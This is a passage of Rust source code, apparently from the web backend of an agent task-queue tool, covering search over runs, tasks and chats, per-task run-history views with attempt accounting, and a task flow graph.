5316const SEARCH_MAX_TERMS: usize = 8;
5317const SNIPPET_BEFORE: usize = 50;
5319const SNIPPET_AFTER: usize = 110;
5320
5321#[derive(Debug, Deserialize)]
5323struct SearchQuery {
5324 #[serde(default)]
5325 scope: String,
5326 #[serde(default)]
5327 q: String,
5328}
5329
5330#[derive(Debug, Serialize, PartialEq, Eq)]
5333struct SnippetPart {
5334 text: String,
5335 hit: bool,
5336}
5337
5338#[derive(Debug, Serialize)]
5339struct SearchHit {
5340 id: String,
5341 field: String,
5343 snippet: Vec<SnippetPart>,
5344 #[serde(skip_serializing_if = "Option::is_none")]
5348 run: Option<RunSummary>,
5349}
5350
5351#[derive(Debug, Serialize)]
5352struct SearchView {
5353 scope: String,
5354 q: String,
5355 hits: Vec<SearchHit>,
5357 total: usize,
5359 truncated: bool,
5360 unreadable: usize,
5363}
5364
5365fn text_leaves<'a>(
5368 value: &'a serde_json::Value,
5369 field: &'a str,
5370 out: &mut Vec<(&'a str, &'a str)>,
5371) {
5372 match value {
5373 serde_json::Value::String(s) => out.push((field, s)),
5374 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
5375 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
5376 _ => {}
5377 }
5378}
5379
5380fn fold_char(c: char) -> char {
5383 c.to_lowercase().next().unwrap_or(c)
5384}
5385
5386fn search_terms(q: &str) -> Vec<String> {
5388 let mut terms: Vec<String> = Vec::new();
5389 for t in q.split_whitespace() {
5390 let t = t.to_lowercase();
5391 if !terms.contains(&t) {
5392 terms.push(t);
5393 }
5394 }
5395 terms
5396}
5397
5398fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
5401 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
5402 let mut first: Option<usize> = None;
5403 for term in terms {
5404 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
5405 first = Some(first.map_or(at, |f| f.min(at)));
5406 }
5407 let (field, text) = leaves[first?];
5409 Some(SearchHit {
5410 id: String::new(),
5411 field: field.to_owned(),
5412 snippet: snippet_of(text, terms),
5413 run: None,
5414 })
5415}
5416
5417fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
5420 let chars: Vec<char> = text.chars().collect();
5421 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
5422 let needles: Vec<Vec<char>> = terms
5423 .iter()
5424 .map(|t| t.chars().map(fold_char).collect())
5425 .collect();
5426 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
5427 let mut best: Option<(usize, usize)> = None;
5428 for n in needles.iter().filter(|n| !n.is_empty()) {
5429 if n.len() > chars.len() || to == 0 {
5433 continue;
5434 }
5435 let last = (to - 1).min(chars.len() - n.len());
5436 if from > last {
5437 continue;
5438 }
5439 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
5440 && best.is_none_or(|(b, _)| i < b)
5441 {
5442 best = Some((i, i + n.len()));
5443 }
5444 }
5445 best
5446 };
5447 let Some((start, _)) = find(0, chars.len()) else {
5448 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
5450 return vec![SnippetPart {
5451 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
5452 hit: false,
5453 }];
5454 };
5455 let lo = start.saturating_sub(SNIPPET_BEFORE);
5456 let hi = (start + SNIPPET_AFTER).min(chars.len());
5457 let mut parts: Vec<SnippetPart> = Vec::new();
5458 let mut push = |s: &[char], hit: bool| {
5459 if s.is_empty() {
5460 return;
5461 }
5462 let text: String = s.iter().collect();
5463 match parts.last_mut() {
5464 Some(p) if p.hit == hit => p.text.push_str(&text),
5465 _ => parts.push(SnippetPart { text, hit }),
5466 }
5467 };
5468 if lo > 0 {
5469 push(&['\u{2026}'], false);
5470 }
5471 let mut at = lo;
5472 while at < hi {
5473 match find(at, hi) {
5474 Some((s, e)) => {
5475 push(&chars[at..s], false);
5476 let shown = e.min(hi);
5478 push(&chars[s..shown], true);
5479 at = shown;
5480 }
5481 None => {
5482 push(&chars[at..hi], false);
5483 at = hi;
5484 }
5485 }
5486 }
5487 if hi < chars.len() {
5488 push(&['\u{2026}'], false);
5489 }
5490 let mut prev_space = false;
5493 for p in &mut parts {
5494 let mut out = String::with_capacity(p.text.len());
5495 for c in p.text.chars() {
5496 if c.is_whitespace() {
5497 if !prev_space {
5498 out.push(' ');
5499 }
5500 prev_space = true;
5501 } else {
5502 out.push(c);
5503 prev_space = false;
5504 }
5505 }
5506 p.text = out;
5507 }
5508 parts.retain(|p| !p.text.is_empty());
5509 parts
5510}
5511
5512fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
5514where
5515 I: IntoIterator<Item = (String, serde_json::Value)>,
5516{
5517 for (id, doc) in docs {
5518 let mut leaves = Vec::new();
5519 leaves.push(("id", id.as_str()));
5522 text_leaves(&doc, "", &mut leaves);
5523 if let Some(mut hit) = search_document(terms, &leaves) {
5524 view.total += 1;
5525 if view.hits.len() < SEARCH_MAX_HITS {
5526 hit.id = id;
5527 view.hits.push(hit);
5528 }
5529 }
5530 }
5531 view.truncated = view.total > view.hits.len();
5532}
5533
5534fn talk_search_doc(talk: &Talk) -> serde_json::Value {
5540 let opener = talk
5541 .title
5542 .as_ref()
5543 .filter(|t| !t.text.is_empty())
5544 .map(|t| t.text.as_str())
5545 .or_else(|| {
5546 talk.turns
5547 .iter()
5548 .find(|t| t.who == talk::Who::Operator)
5549 .map(|t| t.body.as_str())
5550 })
5551 .and_then(|text| text.lines().map(str::trim).find(|line| !line.is_empty()))
5552 .unwrap_or("");
5553 let title: String = if opener.chars().count() > 96 {
5554 opener.chars().take(95).chain(['\u{2026}']).collect()
5555 } else {
5556 opener.to_owned()
5557 };
5558 let turns: Vec<serde_json::Value> = talk
5559 .turns
5560 .iter()
5561 .map(|t| {
5562 let who = match t.who {
5563 crate::talk::Who::Operator => "operator",
5564 crate::talk::Who::Agent => "agent",
5565 };
5566 serde_json::json!({ who: t.body })
5567 })
5568 .collect();
5569 serde_json::json!({ "title": title, "turns": turns })
5570}
5571
5572async fn search_get(
5579 State(ui): State<Arc<Ui>>,
5580 Query(q): Query<SearchQuery>,
5581) -> ApiResult<Json<SearchView>> {
5582 let query = q.q.trim().to_owned();
5583 if query.is_empty() {
5584 return Err(ApiError::bad_request("q must not be empty"));
5585 }
5586 if query.chars().count() > SEARCH_MAX_QUERY {
5587 return Err(ApiError::bad_request(format!(
5588 "q is longer than {SEARCH_MAX_QUERY} characters"
5589 )));
5590 }
5591 let terms = search_terms(&query);
5592 if terms.len() > SEARCH_MAX_TERMS {
5593 return Err(ApiError::bad_request(format!(
5594 "q has more than {SEARCH_MAX_TERMS} terms"
5595 )));
5596 }
5597 let scope = q.scope;
5598 if scope != "runs" && scope != "tasks" && scope != "chats" {
5599 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
5600 }
5601 blocking(move || {
5602 let mut view = SearchView {
5603 scope: scope.clone(),
5604 q: query,
5605 hits: Vec::new(),
5606 total: 0,
5607 truncated: false,
5608 unreadable: 0,
5609 };
5610 if scope == "runs" {
5611 let mut unreadable = 0;
5612 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
5616 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
5617 match body.and_then(|b| serde_json::from_str(&b).ok()) {
5618 Some(v) => Some((id, v)),
5619 None => {
5620 unreadable += 1;
5621 None
5622 }
5623 }
5624 });
5625 search_docs(&terms, docs, &mut view);
5626 view.unreadable = unreadable;
5627 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
5630 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5631 for hit in &mut view.hits {
5632 if let Ok(state) = read_run(&ui.runs, &hit.id) {
5633 hit.run = summarize(
5634 [state],
5635 &open_runs,
5636 &claimed,
5637 &superseded,
5638 |p| probe.borrow_mut().status(p),
5639 |p| probe.borrow_mut().started_at(p),
5640 )
5641 .pop();
5642 }
5643 }
5644 } else if scope == "chats" {
5645 let (talks, unreadable) = ui.talks.list_counting_unreadable();
5646 view.unreadable = unreadable;
5647 search_docs(
5648 &terms,
5649 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
5650 &mut view,
5651 );
5652 } else {
5653 let docs = ui.queue.list().into_iter().filter_map(|t| {
5654 let mut v = serde_json::to_value(&t).ok()?;
5655 if let Some(o) = v.as_object_mut() {
5658 o.insert("filed_by".to_owned(), t.source.label().into());
5659 }
5660 Some((t.id, v))
5661 });
5662 search_docs(&terms, docs, &mut view);
5663 }
5664 Ok(Json(view))
5665 })
5666 .await
5667}
5668
5669#[derive(Debug, Serialize)]
5671struct TaskRunView {
5672 n: usize,
5674 id: String,
5675 short: String,
5676 kind: &'static str,
5678 status: Option<&'static str>,
5680 readable: bool,
5682 provisional: bool,
5684 description: String,
5686 outcome: String,
5688 created_at: Option<Timestamp>,
5689 pr: Option<String>,
5690 exit: RunExit,
5692 attempt: AttemptCost,
5694 exit_label: String,
5697 later_pass: Option<usize>,
5700 pass_n: usize,
5704 passes_of_run: usize,
5705 pass: Option<PassView>,
5708 branch: Option<String>,
5710 badge: Option<String>,
5713}
5714
5715#[derive(Debug, Clone, PartialEq, Serialize)]
5717struct PassView {
5718 index: usize,
5719 resumed: bool,
5720 started_at: Timestamp,
5721 ended_at: Option<Timestamp>,
5722 end: &'static str,
5724 cause: Option<crate::run::ParkCause>,
5725 label: String,
5727 cost: Option<crate::queue::PassCost>,
5730}
5731
5732impl PassView {
5733 fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
5734 use crate::run::PassEnd;
5735 let (end, cause, label) = match &p.end {
5736 None => ("open", None, "still open".to_owned()),
5737 Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
5738 Some(PassEnd::Unrecorded) => (
5739 "unrecorded",
5740 None,
5741 "stopped without recording why (a crash, a kill or a restart; not known)"
5742 .to_owned(),
5743 ),
5744 };
5745 Self {
5746 index: p.index,
5747 resumed: p.resumed,
5748 started_at: p.started_at,
5749 ended_at: p.ended_at,
5750 end,
5751 cause,
5752 label,
5753 cost: settled.map(|t| t.cost),
5754 }
5755 }
5756}
5757
5758#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5760#[serde(rename_all = "snake_case")]
5761enum RunExit {
5762 Unreadable,
5763 Interrupted,
5765 Parked,
5766 QuotaStall,
5767 ResumedQuotaStall,
5771 Merged,
5772 Ready,
5773 Superseded,
5774 AlreadyInBase,
5777 Stalled,
5779 HeldWithPr,
5781 NoopHeld,
5782 Spent,
5784 InProgress,
5785}
5786
5787#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5788#[serde(rename_all = "snake_case")]
5789enum AttemptCost {
5790 Spent,
5791 Refunded,
5792 None,
5793 Unknown,
5795}
5796
5797impl RunExit {
5798 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
5799 let Some(s) = s else {
5800 return Self::Unreadable;
5801 };
5802 let status = s.status;
5803 if resumed_later {
5804 Self::Interrupted
5805 } else if s.parked {
5806 Self::Parked
5807 } else if !status.done() {
5808 Self::InProgress
5809 } else if matches!(status, RunStatus::Merged) {
5810 Self::Merged
5811 } else if matches!(status, RunStatus::Ready) {
5812 Self::Ready
5813 } else if matches!(status, RunStatus::Superseded) {
5814 Self::Superseded
5815 } else if matches!(status, RunStatus::AlreadyInBase) {
5816 Self::AlreadyInBase
5817 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
5818 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
5819 {
5820 if resumed {
5821 Self::ResumedQuotaStall
5822 } else {
5823 Self::QuotaStall
5824 }
5825 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
5826 Self::HeldWithPr
5827 } else if matches!(status, RunStatus::VerifiedNoop) {
5828 Self::NoopHeld
5829 } else if matches!(status, RunStatus::Stalled) {
5830 Self::Stalled
5831 } else {
5832 Self::Spent
5833 }
5834 }
5835
5836 fn cost(self) -> AttemptCost {
5837 match self {
5838 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
5839 Self::Merged
5840 | Self::Ready
5841 | Self::Stalled
5842 | Self::HeldWithPr
5843 | Self::NoopHeld
5844 | Self::Spent => AttemptCost::Spent,
5845 Self::InProgress => AttemptCost::None,
5846 Self::AlreadyInBase => AttemptCost::Refunded,
5847 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
5848 AttemptCost::Unknown
5849 }
5850 }
5851 }
5852
5853 fn edge_label(self, status: Option<&str>) -> String {
5855 match self {
5856 Self::Unreadable => "record unreadable".to_owned(),
5857 Self::Interrupted => "interrupted before the run finished".to_owned(),
5858 Self::Parked => "parked, attempt refunded".to_owned(),
5859 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
5860 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
5861 Self::Merged => "merged".to_owned(),
5862 Self::Ready => "ready, not merged".to_owned(),
5863 Self::Superseded => "superseded by a later attempt".to_owned(),
5864 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
5865 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
5866 Self::HeldWithPr => "blocked, PR left open".to_owned(),
5867 Self::NoopHeld => "verified no-op".to_owned(),
5868 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
5869 Self::InProgress => "in progress".to_owned(),
5870 }
5871 }
5872
5873 fn explains(self, end: TaskStatus) -> bool {
5876 match self {
5877 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
5878 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
5879 Self::Unreadable | Self::Superseded | Self::Ready => true,
5880 _ => end != TaskStatus::Done,
5881 }
5882 }
5883}
5884
5885#[derive(Debug, Serialize)]
5887struct TaskDetailView {
5888 #[serde(flatten)]
5889 task: TaskView,
5890 max_attempts: usize,
5893 history: Vec<TaskRunView>,
5894 passes_total: usize,
5897 runs_distinct: usize,
5899 flow: FlowView,
5900 followup_origin: Option<FollowUpOrigin>,
5902 runs_unreadable: usize,
5904 attempts_note: &'static str,
5906}
5907
5908const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
5909and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
5910on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
5911the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
5912
5913fn review_branch_of(instruction: &str) -> Option<&str> {
5916 let rest = instruction.strip_prefix("Review the work already on branch `")?;
5917 rest.split('`').next().filter(|b| !b.is_empty())
5918}
5919
5920#[derive(Default)]
5922struct RunSlot<'a> {
5923 n: usize,
5925 resumed: bool,
5927 resumed_later: Option<usize>,
5929 prior: Option<(&'a str, RunStatus)>,
5931 last: bool,
5932 pass: Option<&'a crate::run::RunPass>,
5934 settled: Option<&'a crate::queue::TaskPass>,
5936 pass_n: usize,
5938 passes_of_run: usize,
5939}
5940
5941fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
5944 let RunSlot {
5945 n,
5946 resumed,
5947 resumed_later,
5948 prior,
5949 last,
5950 pass,
5951 settled,
5952 pass_n,
5953 passes_of_run,
5954 } = at;
5955 let short = run::short_of(id).to_owned();
5956 let Some(s) = state else {
5957 return TaskRunView {
5958 n,
5959 id: id.to_owned(),
5960 short,
5961 kind: "unknown",
5962 status: None,
5963 readable: false,
5964 provisional: false,
5965 description:
5966 "This run's record could not be read by this build (written by a different \
5967 magi, or removed), so what kind of attempt it was is unknown."
5968 .to_owned(),
5969 outcome: String::new(),
5970 created_at: None,
5971 pr: None,
5972 exit: RunExit::Unreadable,
5973 attempt: AttemptCost::Unknown,
5974 exit_label: RunExit::Unreadable.edge_label(None),
5975 later_pass: resumed_later,
5976 pass_n,
5977 passes_of_run,
5978 pass: None,
5979 branch: None,
5980 badge: None,
5981 };
5982 };
5983 let branch = review_branch_of(&s.instruction);
5984 let kind = if resumed {
5985 "resume"
5986 } else if branch.is_some() {
5987 "review"
5988 } else if task.solo || s.candidates.len() == 1 {
5989 "solo"
5990 } else {
5991 "competition"
5992 };
5993 let mut description = match kind {
5994 "resume" => {
5995 format!("Resumed run {short}: the same run carried on instead of competing again.")
5996 }
5997 "review" => format!(
5998 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
5999 branch.unwrap_or_default()
6000 ),
6001 "solo" => "Solo run: one implementer straight into review.".to_owned(),
6002 _ => format!(
6003 "Competition: {} candidates judged blind.",
6004 s.candidates.len().max(1)
6005 ),
6006 };
6007 if !resumed && let Some((p, st)) = prior {
6008 description.push_str(&format!(
6009 " A retry: run {p} before it ended {}.",
6010 st.display_label()
6011 ));
6012 }
6013
6014 let status = s.status;
6015 let provisional = matches!(status, RunStatus::Stalled)
6016 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
6017 let head = if resumed_later.is_some() {
6018 String::new()
6019 } else {
6020 match status {
6021 RunStatus::Merged => "Merged.".to_owned(),
6022 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
6023 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
6024 RunStatus::AlreadyInBase => {
6025 "Already in the base: this change landed under other commits, nothing was left to land."
6026 .to_owned()
6027 }
6028 RunStatus::Stalled => {
6029 "Stalled: the judging panel never reached a quorum, so there is no verdict."
6030 .to_owned()
6031 }
6032 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
6033 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
6034 RunStatus::VerifiedNoop => {
6035 "Verified no-op: the candidates found nothing to change.".to_owned()
6036 }
6037 other if other.done() => format!("Ended {}.", other.display_label()),
6038 other => format!("In progress ({}).", other.display_label()),
6039 }
6040 };
6041 let view = pass.map(|p| PassView::of(p, settled));
6042 let recorded_end = view
6043 .as_ref()
6044 .filter(|v| matches!(v.end, "parked" | "unrecorded"));
6045 let cost_words = match view.as_ref().and_then(|v| v.cost) {
6046 Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
6047 Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
6048 None => "whether its attempt was handed back was not recorded",
6049 };
6050 let pass_note = if passes_of_run > 1 {
6051 format!(
6052 " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
6053 )
6054 } else {
6055 String::new()
6056 };
6057 let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
6058 let cause = match v.end {
6060 "parked" => format!("It was stopped on purpose: {}.", v.label),
6061 _ => format!("It {}.", v.label),
6062 };
6063 format!(
6064 " {cause} {}; pass #{k} resumed the same run.{pass_note}",
6065 capitalise(cost_words)
6066 )
6067 } else if let Some(k) = resumed_later {
6068 let cause = if s.quota.is_empty() {
6075 "the cause was not recorded: a park, a crash or a restart all look the same from here"
6076 } else {
6077 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
6078 };
6079 format!(
6080 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
6081 )
6082 } else if s.parked {
6083 match recorded_end.and_then(|v| v.cause.as_ref()) {
6084 Some(cause) => format!(
6085 " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
6086 cause.label(),
6087 cost_words
6088 ),
6089 None => " Parked at a node boundary; the attempt was handed back and the run resumes."
6090 .to_owned(),
6091 }
6092 } else if !status.done()
6093 || matches!(
6094 status,
6095 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
6096 )
6097 {
6098 String::new()
6099 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6100 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6101 {
6102 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
6103 .to_owned()
6104 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6105 " It left a pull request open, so the task was held for a person rather than retried."
6106 .to_owned()
6107 } else if matches!(status, RunStatus::VerifiedNoop) {
6108 " Held for a person to check the claim.".to_owned()
6109 } else if last {
6110 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
6111 } else {
6112 " It spent an attempt, and the task moved on to the next run.".to_owned()
6113 };
6114 let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
6115 let mut attempt = exit.cost();
6116 let mut exit_label = None;
6117 if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
6118 let spent = match v.cost {
6119 Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
6120 Some(crate::queue::PassCost::Spent) => ", attempt counted",
6121 None if resumed_later.is_some() => ", refund not recorded",
6122 None => ", attempt refunded",
6123 };
6124 attempt = match v.cost {
6125 Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
6126 Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
6127 None if resumed_later.is_some() => AttemptCost::Unknown,
6128 None => attempt,
6129 };
6130 if v.end == "parked" {
6131 exit = RunExit::Parked;
6132 exit_label = Some(match v.cause.as_ref() {
6133 Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
6134 format!("parked for {}{spent}", c.label())
6135 }
6136 Some(c) => format!("parked ({}){spent}", c.label()),
6137 None => format!("parked{spent}"),
6138 });
6139 } else {
6140 exit_label = Some(format!("stopped without a recorded cause{spent}"));
6141 }
6142 }
6143 let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
6144 TaskRunView {
6145 n,
6146 id: id.to_owned(),
6147 short,
6148 kind,
6149 status: Some(status.as_str()),
6150 readable: true,
6151 provisional,
6152 description,
6153 outcome: format!("{head}{why}"),
6154 created_at: Some(s.created_at),
6155 pr: s.pr.as_ref().map(|p| p.url.clone()),
6156 exit,
6157 attempt,
6158 exit_label,
6159 later_pass: resumed_later,
6160 pass_n,
6161 passes_of_run,
6162 pass: view,
6163 branch: branch.map(str::to_owned),
6164 badge: None,
6165 }
6166}
6167
6168fn capitalise(s: &str) -> String {
6169 let mut c = s.chars();
6170 c.next().map_or_else(String::new, |f| {
6171 f.to_uppercase().collect::<String>() + c.as_str()
6172 })
6173}
6174
6175#[derive(Debug, Serialize, PartialEq)]
6177struct FlowNode {
6178 key: String,
6180 kind: &'static str,
6182 label: String,
6183 status: Option<&'static str>,
6186 status_of: &'static str,
6189 note: Option<&'static str>,
6191 run_kind: Option<&'static str>,
6192 detail: Option<String>,
6193 decided: bool,
6195 readable: bool,
6196 href: Option<String>,
6197 badge: Option<String>,
6199 started_at: Option<Timestamp>,
6201 time_expected: bool,
6203}
6204
6205#[derive(Debug, Serialize, PartialEq)]
6206struct FlowEdge {
6207 from: String,
6208 to: String,
6209 label: String,
6210 attempt: AttemptCost,
6211}
6212
6213#[derive(Debug, Serialize, PartialEq)]
6214struct FlowView {
6215 nodes: Vec<FlowNode>,
6216 edges: Vec<FlowEdge>,
6217 attempts: usize,
6219 max_attempts: usize,
6220 passes: usize,
6223 runs: usize,
6224}
6225
6226fn task_flow(
6235 task: &Task,
6236 history: &[TaskRunView],
6237 max_attempts: usize,
6238 origin: Option<&FollowUpOrigin>,
6239) -> FlowView {
6240 let max_attempts = task.effective_attempt_limit(max_attempts);
6241 let node = |key: &str, kind, label: String| FlowNode {
6242 key: key.to_owned(),
6243 kind,
6244 label,
6245 status: None,
6246 status_of: "run",
6247 note: None,
6248 run_kind: None,
6249 detail: None,
6250 decided: false,
6251 readable: true,
6252 href: None,
6253 badge: None,
6254 started_at: None,
6255 time_expected: matches!(kind, "start" | "run" | "end"),
6256 };
6257 let mut nodes = Vec::new();
6258 let mut edges: Vec<FlowEdge> = Vec::new();
6259 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
6261 let mut n = node(
6262 "chat",
6263 "chat",
6264 format!("Chat {}", crate::queue::short(&link.id)),
6265 );
6266 n.href = Some(link.href);
6267 nodes.push(n);
6268 edges.push(FlowEdge {
6269 from: "chat".to_owned(),
6270 to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
6271 label: "queued from chat".to_owned(),
6272 attempt: AttemptCost::None,
6273 });
6274 }
6275 if let Some(o) = origin {
6276 let mut n = match &o.parent {
6277 Some(p) => {
6278 let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
6279 n.status = Some(p.status);
6280 n.status_of = "task";
6281 n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
6282 n.href = Some(p.href.clone());
6283 n
6284 }
6285 None => {
6286 let mut n = node(
6287 "origin",
6288 "followup",
6289 format!("Follow-up of run {}", o.run.short),
6290 );
6291 n.detail = Some("merged run".to_owned());
6292 n.status = o.run.status;
6293 n.href = o.run.href.clone();
6294 if o.run.href.is_none() {
6295 n.readable = false;
6296 n.note = Some("unreadable");
6297 }
6298 n
6299 }
6300 };
6301 n.decided = true;
6302 let from = n.key.clone();
6303 nodes.push(n);
6304 let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
6305 let more = o.findings.len().saturating_sub(shown.len());
6306 let label = match (shown.is_empty(), more) {
6307 (true, _) => "open findings".to_owned(),
6308 (false, 0) => format!("open findings {}", shown.join(", ")),
6309 (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
6310 };
6311 edges.push(FlowEdge {
6312 from,
6313 to: "start".to_owned(),
6314 label,
6315 attempt: AttemptCost::None,
6316 });
6317 }
6318 let mut start = node("start", "start", "Task queued".to_owned());
6319 start.started_at = Some(task.created_at);
6320 nodes.push(start);
6321 let mut prev = "start".to_owned();
6322 let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
6323 for (i, h) in history.iter().enumerate() {
6324 let key = format!("run-{}", h.n);
6325 let mut n = node(&key, "run", format!("Run {}", h.short));
6326 n.started_at = h
6329 .readable
6330 .then(|| {
6331 h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
6332 h.created_at
6333 } else {
6334 None
6335 })
6336 })
6337 .flatten();
6338 n.run_kind = Some(h.kind);
6339 n.readable = h.readable;
6340 n.href = Some(format!("#/runs/{}", h.id));
6341 n.decided = h.readable && !h.provisional;
6342 n.detail = h
6343 .branch
6344 .as_ref()
6345 .map(|b| format!("review-only run of branch {b}"));
6346 match h.exit {
6347 RunExit::Unreadable => n.note = Some("unreadable"),
6348 RunExit::Interrupted => n.note = Some("interrupted"),
6349 RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
6352 _ => {
6353 n.status = h.status;
6354 n.badge = h.badge.clone();
6355 if h.provisional {
6356 n.note = Some("no verdict");
6357 }
6358 }
6359 }
6360 let into = match h.kind {
6361 "review" => Some(format!(
6362 "review-only run of branch {}",
6363 h.branch.as_deref().unwrap_or("?")
6364 )),
6365 "resume" => Some("resume the same run".to_owned()),
6366 _ if i > 0 => Some("retry".to_owned()),
6367 _ => None,
6368 };
6369 let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
6370 let label = match (prev_exit, into) {
6371 (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
6372 (Some((_, l, _)), None) => l,
6373 (None, Some(i)) => i,
6374 (None, None) => "claimed".to_owned(),
6375 };
6376 edges.push(FlowEdge {
6377 from: prev.clone(),
6378 to: key.clone(),
6379 label,
6380 attempt,
6381 });
6382 prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
6383 prev = key;
6384 nodes.push(n);
6385 }
6386 let mut end = node("end", "end", task.status.as_str().to_owned());
6387 end.status = Some(task.status.as_str());
6388 end.status_of = "task";
6389 if task.status == TaskStatus::Held {
6392 end.started_at = task.held_at;
6393 }
6394 nodes.push(end);
6395 let (label, attempt) = match prev_exit {
6396 None => (
6397 format!("no run yet \u{2192} {}", task.status.as_str()),
6398 AttemptCost::None,
6399 ),
6400 Some((e, l, cost)) if e.explains(task.status) => {
6401 (format!("{l} \u{2192} {}", task.status.as_str()), cost)
6402 }
6403 Some((_, _, cost)) => (
6404 format!("closed by hand: task is {}", task.status.as_str()),
6405 cost,
6406 ),
6407 };
6408 edges.push(FlowEdge {
6409 from: prev,
6410 to: "end".to_owned(),
6411 label,
6412 attempt,
6413 });
6414 FlowView {
6415 nodes,
6416 edges,
6417 attempts: task.attempts,
6418 max_attempts,
6419 passes: history.len(),
6420 runs: distinct_runs(&task.runs),
6421 }
6422}
6423
6424fn distinct_runs(runs: &[String]) -> usize {
6426 let mut seen: Vec<&str> = Vec::new();
6427 for r in runs {
6428 if !seen.contains(&r.as_str()) {
6429 seen.push(r);
6430 }
6431 }
6432 seen.len()
6433}
6434
6435fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
6437 let mut slots = Vec::new();
6438 let mut seen = Vec::new();
6439 for run_id in &task.runs {
6440 if seen.contains(&run_id) {
6441 continue;
6442 }
6443 seen.push(run_id);
6444 let state = read(run_id);
6445 let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
6446 s.passes
6447 .iter()
6448 .filter(|p| {
6449 p.task_entry
6450 || task
6451 .passes
6452 .iter()
6453 .any(|t| t.run == *run_id && t.pass_index == p.index)
6454 })
6455 .cloned()
6456 .collect()
6457 });
6458 let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
6459 let total = legacy_count.max(mine.len());
6460 let offset = total - mine.len();
6461 for k in 0..total {
6462 let position = task
6465 .runs
6466 .iter()
6467 .enumerate()
6468 .filter(|(_, r)| *r == run_id)
6469 .nth(k.min(legacy_count - 1))
6470 .unwrap()
6471 .0;
